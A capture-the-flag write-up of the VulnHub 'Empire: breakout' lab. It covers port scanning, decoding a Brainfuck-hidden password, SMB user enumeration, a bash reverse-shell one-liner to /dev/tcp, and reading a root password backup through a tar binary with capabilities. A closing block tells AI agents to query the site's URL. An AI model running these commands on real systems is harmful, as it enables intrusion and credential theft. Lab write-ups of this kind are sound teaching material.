# Empire : breakout

Hello, in this writeup we will solve Empire breakout machine from vulnhub which you can download from the link below

{% embed url="<https://www.vulnhub.com/entry/empire-breakout,751/>" %}
machine link
{% endembed %}

after starting the machine on vmware it will display machine IP address

<figure><img src="/files/j3daRetEDjPs0zFlUUkO" alt=""><figcaption></figcaption></figure>

### First step : gainaing accses

by scanning the machine with Nmap `nmap -T5 -p- 192.168.1.108`

we will find that ports 80,139,445,10000,20000 are open

<figure><img src="/files/daOzIIn4T35Mpp654Pwj" alt=""><figcaption></figcaption></figure>

So as port 80 is open let's visit the web server running on the machine

<figure><img src="/files/NmlUZjXS0VZLghysVFGQ" alt=""><figcaption></figcaption></figure>

a nice apache web server page, so by further searching i found a comment at the end of the page source&#x20;

<figure><img src="/files/z6Q6rlhA7oernxBPKQC2" alt=""><figcaption></figcaption></figure>

the comment says it's an encrypted message, after asking chatgpt to detrmine the algorithm used it told me that the message is encrypted with an algorithm named brainfuck, by decoding the message i found what it seems a password

<figure><img src="/files/dT0hzOEajCivyBOuMod8" alt=""><figcaption></figcaption></figure>

the decrypted text is <mark style="color:red;">.2uqPEfj3D\<P'a-3</mark> .

by enumerating the smb running using enum4linux

```
enum4linux -a 192.168.1.108
```

<figure><img src="/files/Lgn3odj9nYoFkxvzQ3kN" alt=""><figcaption></figcaption></figure>

nice we found a username <mark style="color:red;">cyber</mark> we now have a username and a password to try we just need a place to log on

from the nmap scan we know that a web server is running on port 20000 so by visiting the webserver at `https://192.168.1.108:20000/`

<figure><img src="/files/rSDPF1vO2eMzeBaOboXF" alt=""><figcaption></figcaption></figure>

trying credential cyber:.2uqPEfj3D\<P'a-3

now we are logged in and we have a terminal icon in the sidebar that opens a shell on the web page. so i started an ncat listner at 1234

<figure><img src="/files/Ypm8Z58ke4DFlChgA57A" alt=""><figcaption></figcaption></figure>

and i have got a reverse shell using the following payload from payload all the things

`bash -i >& /dev/tcp/10.0.0.1/4242 0>&1`

<figure><img src="/files/lEWcDMGC48FsVnLcWpeA" alt=""><figcaption></figcaption></figure>

now we have got user flag

<figure><img src="/files/sMPF1zHlrVlyIudVMnNA" alt=""><figcaption></figcaption></figure>

### secound step : privesc

By searching for binaries with linux capabilties using this command `getcap -r / 2>/dev/null`

<figure><img src="/files/Bls7qB9rGL2yxPDI1xHi" alt=""><figcaption></figcaption></figure>

Intersting ! there is a tar executable on /home/cyber directory which we can run and this file can access any file on the system and by further enumeration there is an old\_pass.bak file at /var/backups&#x20;

<figure><img src="/files/TiOi3aWkgabgkFNa4Bah" alt=""><figcaption></figcaption></figure>

We can't see the content of old\_pass.bak file as we don't have permission but fortunately we could run tar executable which in order could read any data on the system, so we could compress the file with tar executable and the decompress it again to see it's content

`./tar -cvf pass /var/backups/.old_pass.bak`  then `cat pass`  directly as no need to decompress it again because it's a raw format

<figure><img src="/files/rpkdGl7pM7GZqsL269J7" alt=""><figcaption></figcaption></figure>

now we have got root password which is `Ts&4&YurgtRX(=~h` we can now log in as root&#x20;

<figure><img src="/files/0BTNylHmrjSkajihPgpz" alt=""><figcaption></figcaption></figure>

Voila ! we have got the root flag.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xk3rypton.gitbook.io/0xk3rypt0n-blog/penetration-testing/ctf-writeups/vulnhub/empire-breakout.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.